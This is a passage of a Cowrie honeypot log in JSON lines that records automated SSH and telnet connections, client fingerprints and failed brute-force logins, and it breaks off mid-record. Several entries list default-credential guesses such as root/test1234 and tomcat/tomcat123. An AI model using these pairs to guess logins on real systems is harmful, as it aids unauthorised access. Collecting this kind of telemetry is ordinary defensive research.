{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:48.311150Z","src_ip":"176.65.132.129","session":"70651b2a364a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:49.397739Z","src_ip":"176.65.132.129","session":"70651b2a364a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33868,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dd4474a49c7","protocol":"ssh","message":"New connection: 176.65.132.129:33868 (10.17.0.5:22) [session: 8dd4474a49c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:51.434306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:51.441187Z","src_ip":"176.65.132.129","session":"8dd4474a49c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:51.523597Z","src_ip":"176.65.132.129","session":"8dd4474a49c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:51.779066Z","src_ip":"176.65.132.129","session":"8dd4474a49c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.692190170288086,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:52.410501Z","src_ip":"192.211.53.160","session":"67b19f50490d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:52.864579Z","src_ip":"176.65.132.129","session":"8dd4474a49c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.67238259315491,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:53.661683Z","src_ip":"38.60.198.128","session":"4ba670d7522a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33886,"dst_ip":"10.17.0.5","dst_port":22,"session":"526eb4393ade","protocol":"ssh","message":"New connection: 176.65.132.129:33886 (10.17.0.5:22) [session: 526eb4393ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:54.968505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:55.030896Z","src_ip":"176.65.132.129","session":"526eb4393ade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:55.063613Z","src_ip":"176.65.132.129","session":"526eb4393ade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":49058,"dst_ip":"10.17.0.5","dst_port":23,"session":"31940503b080","protocol":"telnet","message":"New connection: 45.81.23.16:49058 (10.17.0.5:23) [session: 31940503b080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:55.080716Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:55.379054Z","src_ip":"176.65.132.129","session":"526eb4393ade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":49048,"dst_ip":"10.17.0.5","dst_port":23,"session":"8960feff675c","protocol":"telnet","message":"New connection: 45.81.23.16:49048 (10.17.0.5:23) [session: 8960feff675c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:55.791296Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.186.41.181","src_port":45096,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7ca02fbc5bc","protocol":"telnet","message":"New connection: 103.186.41.181:45096 (10.17.0.5:23) [session: e7ca02fbc5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:55.817982Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:56.464201Z","src_ip":"176.65.132.129","session":"526eb4393ade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34642,"dst_ip":"10.17.0.5","dst_port":22,"session":"f180af4b0dbb","protocol":"ssh","message":"New connection: 176.65.132.129:34642 (10.17.0.5:22) [session: f180af4b0dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:58.226449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:58.230778Z","src_ip":"176.65.132.129","session":"f180af4b0dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":34320,"dst_ip":"10.17.0.5","dst_port":22,"session":"942ae1d34f26","protocol":"ssh","message":"New connection: 199.195.254.215:34320 (10.17.0.5:22) [session: 942ae1d34f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:58.234663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:58.245373Z","src_ip":"199.195.254.215","session":"942ae1d34f26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:58.312302Z","src_ip":"176.65.132.129","session":"f180af4b0dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:58.564900Z","src_ip":"176.65.132.129","session":"f180af4b0dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:58.844105Z","src_ip":"199.195.254.215","session":"942ae1d34f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.52971410751343,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:59.069915Z","src_ip":"192.211.53.160","session":"1d571ed2e755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:59.769601Z","src_ip":"176.65.132.129","session":"f180af4b0dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":53480,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4066ccf096d","protocol":"telnet","message":"New connection: 64.227.82.147:53480 (159.203.135.109:23) [session: b4066ccf096d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:00.740618Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34644,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e224d9ddcb0","protocol":"ssh","message":"New connection: 176.65.132.129:34644 (10.17.0.5:22) [session: 8e224d9ddcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:01.578405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:01.585336Z","src_ip":"176.65.132.129","session":"8e224d9ddcb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"summer","message":"login attempt [server/summer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:01.606450Z","src_ip":"199.195.254.215","session":"942ae1d34f26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:01.663168Z","src_ip":"176.65.132.129","session":"8e224d9ddcb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:02.212673Z","src_ip":"176.65.132.129","session":"8e224d9ddcb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":57166,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6eda6a2dfe5","protocol":"telnet","message":"New connection: 45.81.23.16:57166 (10.17.0.5:23) [session: e6eda6a2dfe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:02.883333Z"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:03.238428Z","src_ip":"199.195.254.215","session":"942ae1d34f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:03.299231Z","src_ip":"176.65.132.129","session":"8e224d9ddcb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.60915160179138,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:03.949430Z","src_ip":"192.211.53.160","session":"9f8bdb7716ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34656,"dst_ip":"10.17.0.5","dst_port":22,"session":"558c81cd70bc","protocol":"ssh","message":"New connection: 176.65.132.129:34656 (10.17.0.5:22) [session: 558c81cd70bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:05.097800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:05.102417Z","src_ip":"176.65.132.129","session":"558c81cd70bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:05.185124Z","src_ip":"176.65.132.129","session":"558c81cd70bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:05.430974Z","src_ip":"176.65.132.129","session":"558c81cd70bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.15340447425842,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:06.007712Z","src_ip":"38.60.198.128","session":"5570f0c29b86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:06.516838Z","src_ip":"176.65.132.129","session":"558c81cd70bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.41280460357666,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:07.203943Z","src_ip":"45.81.23.16","session":"8960feff675c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":60896,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc95a7be4760","protocol":"ssh","message":"New connection: 198.98.56.227:60896 (10.17.0.5:22) [session: bc95a7be4760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:08.035657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:08.040467Z","src_ip":"198.98.56.227","session":"bc95a7be4760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:08.317591Z","src_ip":"198.98.56.227","session":"bc95a7be4760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43916,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdd80645c152","protocol":"ssh","message":"New connection: 176.65.132.129:43916 (10.17.0.5:22) [session: cdd80645c152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:08.434370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:08.439065Z","src_ip":"176.65.132.129","session":"cdd80645c152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cer